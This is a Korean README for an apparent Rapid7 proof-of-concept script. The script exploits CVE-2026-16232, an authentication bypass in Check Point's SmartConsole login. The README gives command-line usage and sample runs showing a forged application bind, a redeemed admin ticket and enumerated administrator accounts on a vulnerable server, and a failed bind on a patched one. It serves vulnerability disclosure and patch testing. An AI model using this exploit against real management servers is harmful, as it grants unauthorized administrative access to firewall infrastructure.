CVE-2026-16232

개요

SmartConsole 로그인 프로세스에서 애플리케이션 토큰을 사용한 인증 우회 취약점인 CVE-2026-16232를 악용하는 개념 증명 스크립트입니다. 이 취약점은 Check Point Security Management Server 및 Multi-Domain Security Management Server(MDS)에 영향을 미칩니다.

전체 기술 분석은 Rapid7 분석을 참조하십시오.

사용법

$ python3 CVE-2026-16232.py --help
usage: CVE-2026-16232.py [-h] --target TARGET [--fwm-port FWM_PORT] [--cpm-port CPM_PORT] [--timeout TIMEOUT]

Demonstrate CVE-2026-16232 by forging an application bind and redeeming a SmartConsole admin ticket.

options:
  -h, --help           show this help message and exit
  --target TARGET      management server hostname or IP
  --fwm-port FWM_PORT  SIC/CPMI port (default: 18190)
  --cpm-port CPM_PORT  CPM SOAP port (default: 19009)
  --timeout TIMEOUT    network timeout in seconds (default: 10)

예제

취약한 대상을 상대로 PoC를 실행하면 인증 우회가 동작함을 확인할 수 있습니다.

$ python3 CVE-2026-16232.py --target 192.168.86.15
===============================================================================================
Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)
===============================================================================================
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W43UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 31bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

패치된 대상을 상대로 PoC를 실행하면 악성 애플리케이션 바인드 요청이 실패하는 것을 확인할 수 있습니다.

$ python3 CVE-2026-16232.py --target 192.168.86.16
===============================================================================================
Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)
===============================================================================================
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

CVE-2026-16232

인기

CVE-2026-16232

개요

사용법

예제